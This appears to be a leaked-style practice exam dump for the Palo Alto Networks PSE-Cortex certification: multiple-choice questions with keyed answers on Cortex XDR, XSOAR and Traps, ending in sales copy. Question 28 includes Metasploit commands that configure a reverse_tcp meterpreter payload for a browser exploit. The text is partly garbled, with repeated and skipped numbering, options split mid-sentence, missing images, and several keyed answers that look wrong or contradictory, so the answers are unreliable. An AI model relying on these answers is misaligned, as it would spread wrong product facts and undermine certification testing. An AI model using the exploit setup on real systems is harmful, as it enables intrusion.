

Paloalto-Networks

Exam Questions PSE-Cortex

Palo Alto Networks System Engineer - Cortex Professional



NEW QUESTION 1

Which two filter operators are available in Cortex XDR? (Choose two.)

- A. < >
- B. Contains
- C. =
- D. Is Contained By

Answer: BC

NEW QUESTION 2

What are process exceptions used for?

- A. whitelist programs from WildFire analysis
- B. permit processes to load specific DLLs
- C. change the WildFire verdict for a given executable
- D. disable an EPM for a particular process

Answer: D

NEW QUESTION 3

What is the result of creating an exception from an exploit security event?

- A. White lists the process from Wild Fire analysis
- B. exempts the user from generating events for 24 hours
- C. exempts administrators from generating alerts for 24 hours
- D. disables the triggered EPM for the host and process involve

Answer: D

NEW QUESTION 4

Which CLI query would bring back Notable Events from Splunk?

A)

```
!splunk-search query="`notable` | head 3"
```

B)

```
!splunk-search query="'notable' | head 3"
```

C)

```
!splunk-search query="*"
```

D)

```
!splunk-search query="* | head 3"
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: D

NEW QUESTION 5

Which option describes a Load-Balancing Engine Group?

- A. A group of engines that use an algorithm to efficiently share the workload for integrations
- B. A group of engines that ensure High Availability of Demisto backend databases.
- C. A group of engines that use an algorithm to efficiently share the workload for automation scripts
- D. A group of D2 agents that share processing power across multiple endpoints

Answer: C

NEW QUESTION 6

Which two entities can be created as a BIOC? (Choose two.)

- A. file
- B. registry
- C. event log
- D. alert log

Answer: AB

Explanation:

<https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/investigation-and-response/cortex-xd>

NEW QUESTION 7

The certificate used for decryption was installed as a trusted root CA certificate to ensure communication between the Cortex XDR Agent and Cortex XDR Management Console. What action needs to be taken if the administrator determines the Cortex XDR Agents are not communicating with the Cortex XDR Management Console?

- A. add paloaltonetworks.com to the SSL Decryption Exclusion list
- B. enable SSL decryption
- C. disable SSL decryption
- D. reinstall the root CA certificate

Answer: D

NEW QUESTION 8

In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three.)

- A. Domain/workgroup membership
- B. quarantine status
- C. hostname
- D. OS
- E. attack threat intelligence tag

Answer: BCD

NEW QUESTION 9

An EDR project was initiated by a CISO. Which resource will likely have the most heavy influence on the project?

- A. desktop engineer
- B. SOC manager
- C. SOC analyst IT
- D. operations manager

Answer: B

NEW QUESTION 10

An Administrator is alerted to a Suspicious Process Creation security event from multiple users.

The users believe that these events are false positives. Which two steps should the administrator take to confirm the false positives and create an exception? (Choose two.)

- A. With the Malware Security profile, disable the "Prevent Malicious Child Process Execution" module
- B. Within the Malware Security profile add the specific parent process, child process, and command line argument to the child process whitelist
- C. In the Cortex XDR security event, review the specific parent process, child process, and command line arguments
- D. Contact support and ask for a security exception.

Answer: BC

NEW QUESTION 10

How does an "inline" auto-extract task affect playbook execution?

- A. Doesn't wait until the indicators are enriched and continues executing the next step
- B. Doesn't wait until the indicators are enriched but populate context data before executing the next
- C. step
- D. Wait until the indicators are enriched but doesn't populate context data before executing the next step.
- E. Wait until the indicators are enriched and populate context data before executing the next step.

Answer: D

NEW QUESTION 11

How can you view all the relevant incidents for an indicator?

- A. Linked Incidents column in Indicator Screen
- B. Linked Indicators column in Incident Screen
- C. Related Indicators column in Incident Screen
- D. Related Incidents column in Indicator Screen

Answer: D

NEW QUESTION 13

The prospect is deciding whether to go with a phishing or a ServiceNow use case as part of their POC. We have integrations for both but a playbook for phishing only. Which use case should be used for the POC?

- A. phishing
- B. either
- C. ServiceNow
- D. neither

Answer: A

NEW QUESTION 18

If an anomalous process is discovered while investigating the cause of a security event, you can take immediate action to terminate the process or the whole process tree, and block processes from running by initiating which Cortex XDR capability?

- A. Live Sensors
- B. File Explorer
- C. Log Stitching
- D. Live Terminal

Answer: D

NEW QUESTION 21

Which deployment type supports installation of an engine on Windows, Mac OS, and Linux?

- A. RPM
- B. SH
- C. DEB
- D. ZIP

Answer: D

Explanation:

<https://docs.paloaltonetworks.com/cortex/cortex-xsoar/6-0/cortex-xsoar-admin/engines/install-deploy-and-confi>

NEW QUESTION 23

An administrator has a critical group of systems running Windows XP SP3 that cannot be upgraded. The administrator wants to evaluate the ability of Traps to protect these systems and the word processing applications running on them. How should an administrator perform this evaluation?

- A. Gather information about the word processing applications and run them on a Windows XP SP3 VM. Determine if any of the applications are vulnerable and run the exploit with an exploitation tool.
- B. Run word processing exploits in a latest version of Windows VM in a controlled and isolated environment.
- C. Document indicators of compromise and compare to Traps protection capabilities.
- D. Run a known 2015 flash exploit on a Windows XP SP3 VM.
- E. and run an exploitation tool that acts as a listener. Use the results to demonstrate Traps capabilities.
- F. Prepare the latest version of Windows VM. Gather information about the word processing applications, determine if some of them are vulnerable and prepare a working exploit for at least one of them. Execute with an exploitation tool.

Answer: C

NEW QUESTION 24

Which two formats are supported by Whitelist? (Choose two)

- A. Regex
- B. STIX
- C. CSV
- D. CIDR

Answer: AD

NEW QUESTION 28

A test for a Microsoft exploit has been planned. After some research, Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified.

(`exploit/windows/browser/ms16_051_vbscript`)

The description and current configuration of the exploit are as follows;

```
msf exploit(ms16_051_vbscript) > show options
```

```
Module options (exploit/windows/browser/ms16_051_vbscript):
```

Name	Current Setting	Required	Description
SRVHOST	10.0.0.10	yes	The local host to listen on.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

The admin needs to perform the following steps:

- Configure a reverse_tcp meterpreter payload
- Set up the meterpreter payload to listen in IP 10.0.0.10
- Set up the meterpreter payload to listen in port 443
- Configure the URL to listen in a path with name "survey"

What is the remaining configuration?

A)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SSLCert survey
set LHOST 10.0.0.10
set LPORT 8080
```

B)

```
set PAYLOAD windows/x64/powershell_bind_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

C)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

D)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
set LPORT 443
set URIPATH survey
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: D

NEW QUESTION 33

Which two filter operators are available in Cortex XDR? (Choose two.)

- A. not Contains
- B. !*
- C. =>
- D. < >

Answer: AB

Explanation:

<https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/get-started-with-cortex-xdr-pro/use-c>

NEW QUESTION 37

A General Purpose Dynamic Section can be added to which two layouts for incident types? (Choose two)

- A. "Close" Incident Form
- B. Incident Summary
- C. Incident Quick View
- D. "New"/"Edit" Incident Form

Answer: BC

NEW QUESTION 42

During the TMS instance activation, a tenant (Customer) provides the following information for the fields in the Activation - Step 2 of 2 window.

Field	Value
Company Name	XNet Education Systems
Instance Name	xnet50
Subdomain	xnet
Region	EU

During the service instance provisioning which three DNS host names are created? (Choose three.)

- A. cc-xnet50.traps.paloaltonetworks.com
- B. hc-xnet50.traps.paloaltonetworks.com
- C. cc-xnet.traps.paloaltonetworks.com
- D. cc.xnet50traps.paloaltonetworks.com
- E. xnettraps.paloaltonetworks.com
- F. ch-xnet.traps.paloaltonetworks.com

Answer: ACF

NEW QUESTION 46

How does DBot score an indicator that has multiple reputation scores?

- A. uses the most severe score scores
- B. the reputation as undefined
- C. uses the average score
- D. uses the least severe score

Answer: A

NEW QUESTION 49

The images show two versions of the same automation script and the results they produce when executed in Demisto. What are two possible causes of the exception thrown in the second Image? (Choose two.)

SUCCESS



The screenshot displays the Demisto interface for a script named 'UnhandledExceptionExampleScript'. It shows the script code, a successful command execution by 'admin' at 10:40 AM, and a failed execution by 'DBot' at 10:43 AM. The error message in the failed execution is: 'Scripts returned an error', 'Command: !UnhandledExceptionExampleScript (Scripts)', 'Reason: Error from Scripts is : Script failed to run: Error: {Traceback (most recent call last): File '<string>', line 6, in <module> KeyError: 'c' } (2604) (2603)'. Red arrows point to the error message and the command line in the failed execution.

- A. The modified script was run in the wrong Docker image
- B. The modified script required a different parameter to run successfully.
- C. The dictionary was defined incorrectly in the second script.
- D. The modified script attempted to access a dictionary key that did not exist in the dictionary named "data"

Answer: A

NEW QUESTION 53

Which Cortex XDR capability extends investigations to an endpoint?

- A. Log Stitching
- B. Causality Chain
- C. Sensors
- D. Live Terminal

Answer: A

Explanation:

<https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/cortex-xdr-overview/cortex-xdr-conc>

NEW QUESTION 55

Which two log types should be configured for firewall forwarding to the Cortex Data Lake for use by Cortex XDR? (Choose two)

- A. Security Event
- B. HIP
- C. Correlation
- D. Analytics

Answer: AB

NEW QUESTION 60

An administrator of a Cortex XDR protected production environment would like to test its ability to protect users from a known flash player exploit. What is the safest way to do it?

- A. The administrator should attach a copy of the weaponized flash file to an email, send the email to a selected group of employees, and monitor the Events tab on the Cortex XDR console
- B. The administrator should use the Cortex XDR tray icon to confirm his corporate laptop is fully protected then open the weaponized flash file on his machine, and monitor the Events tab on the Cortex XDR console.
- C. The administrator should create a non-production Cortex XDR test environment that accurately represents the production environment, introduce the weaponized flash file, and monitor the Events tab on the Cortex XDR console.
- D. The administrator should place a copy of the weaponized flash file on several USB drives, scatter them around the office and monitor the Events tab on the Cortex XDR console

Answer: C

NEW QUESTION 62

Which step is required to prepare the VDI Golden Image?

- A. Review any PE files that WildFire determined to be malicious
- B. Ensure the latest content updates are installed
- C. Run the VDI conversion tool
- D. Set the memory dumps to manual setting

Answer: A

NEW QUESTION 66

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PSE-Cortex Practice Exam Features:

- * PSE-Cortex Questions and Answers Updated Frequently
- * PSE-Cortex Practice Questions Verified by Expert Senior Certified Staff
- * PSE-Cortex Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * PSE-Cortex Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PSE-Cortex Practice Test Here](#)